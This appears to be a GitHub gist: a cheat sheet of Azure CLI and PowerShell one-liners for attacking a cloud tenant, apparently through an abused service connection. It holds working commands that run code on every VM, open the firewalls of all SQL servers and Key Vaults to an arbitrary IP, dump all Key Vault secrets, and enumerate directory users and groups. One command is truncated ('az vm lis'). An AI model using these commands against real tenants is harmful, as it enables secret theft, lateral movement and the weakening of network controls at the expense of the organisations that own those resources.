Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
#List all resources
az resource list | convertfrom-json | foreach-object { $_ | Select-Object type, name, resourceGroup, id}
#List details for all VM's
az vm lis
#Run PowerShell command on a VM
az vm run-command invoke --command-id RunPowerShellScript --name MyVm --resource-group MyResourceGroup --scripts 'whoami'
#Run PowerShell command on ALL VM's
az vm list | ConvertFrom-Json | Foreach-object {az vm run-command invoke --command-id RunPowerShellScript --name $_.name --resource-group $_.resourceGroup --scripts 'whoami;hostname' }
#List details for all SQL Servers
az sql server list
#Add IP to firewall whitelist for an SQL Server
az sql server firewall-rule create -g mygroup -s myserver -n myrule --start-ip-address XX.XX.XX.XX --end-ip-address XX.XX.XX.XX
#Add IP to firewall whitelist for ALL SQL Servers
az sql server list | ConvertFrom-Json | Foreach-object { az sql server firewall-rule create -g $_.resourceGroup -s $_.name -n $(New-Guid)--start-ip-address XX.XX.XX.XX --end-ip-address XX.XX.XX.XX };
#Add IP to firewall whitelist for an Azure KeyVault
az keyvault network-rule add --ip-address XX.XX.XX.XX --name KEYVAULT-NAME
#Add IP to firewall whitelist for ALL Azure KeyVault(s)
foreach ($vaultName in $( az keyvault list | ConvertFrom-Json )) { az keyvault network-rule add --ip-address XX.XX.XX.XX --name $vaultName.name };
#Dump secrets from ALL Azure KeyVault(s)
foreach ($vaultName in $( az keyvault list | ConvertFrom-Json )) { foreach ( $secret in $(az keyvault secret list --vault-name $vaultName.name | ConvertFrom-Json)) { $secretValue = $(az keyvault secret show --id $secret.id | ConvertFrom-Json ); write-host $secretValue } };
#List all users in AAD (You may not have privs for this when abusing an service connection)
az ad user list
#List groups in AAD (You may not have privs for this when abusing an service connection)
az ad group list
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment